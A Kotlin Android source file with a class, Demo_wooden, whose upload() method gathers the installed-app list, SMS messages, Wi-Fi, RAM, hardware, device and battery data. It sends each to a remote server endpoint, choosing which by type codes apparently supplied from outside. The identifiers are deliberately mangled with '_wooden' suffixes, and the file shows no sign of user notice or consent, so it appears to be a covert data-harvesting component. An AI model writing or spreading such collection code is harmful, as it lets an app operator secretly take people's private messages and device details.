package com.test.nnooolwdeaer.dec_wooden

import android.Manifest
import android.content.Context
import com.test.nnooolwdeaer.constant_wooden.Constant_wooden
import com.test.nnooolwdeaer.constant_wooden.Url_wooden
import com.test.nnooolwdeaer.util_wooden.PermissionUtil_wooden
import com.test.nnooolwdeaer.util_wooden.helper_wooden.UserInfoHelper_wooden
import com.test.nnooolwdeaer.util_wooden.http_wooden.HttpManager_wooden

class Demo_wooden(val context: Context) {

    fun upload(typeList:List<String>) {

        if (typeList.isEmpty()) return

        try {
            val dt = DeviceUtil_wooden(context, Constant_wooden.PRODUCT_wooden, UserInfoHelper_wooden.getInstance_wooden().token_wooden)

            // 设备数据，拿到后，上传
            if (typeList.contains("T6")){
                val app = dt.fetchApp("apppath")
                HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_APPLIST, app)
            }

            if (PermissionUtil_wooden.checkLaunchPermissions_wooden(context, Manifest.permission.READ_SMS) && typeList.contains("T7")){
                val msg = dt.fetchMsg("msgpath")
                HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_MESSAGE, msg)
            }

            if (typeList.contains("T5")){
                val wifi = dt.fetchWifi("wifipath")
                HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_NETWORK, wifi)
            }

            if (typeList.contains("T4")){
                val ram = dt.fetchRam("rampath")
                HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_STORAGE, ram)
            }

            if (typeList.contains("T3")){
                val hd = dt.fetchHardware("hardwardpath")
                HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_HARDWARE, hd)
            }

            if (typeList.contains("T1")){
                val dv = dt.fetchDevice("devicepath")
                HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_DEVICE, dv)
            }

            if (typeList.contains("T2")){
                // 设备数据，拿到后，上传
                dt.fetchBattery("batterypath") { data ->
                    HttpManager_wooden.getInstance_wooden().requestForDevice(Url_wooden.PATH_BATTERY, data)
                }
            }

        }catch (e:Exception){
            e.printStackTrace()
        }
    }
}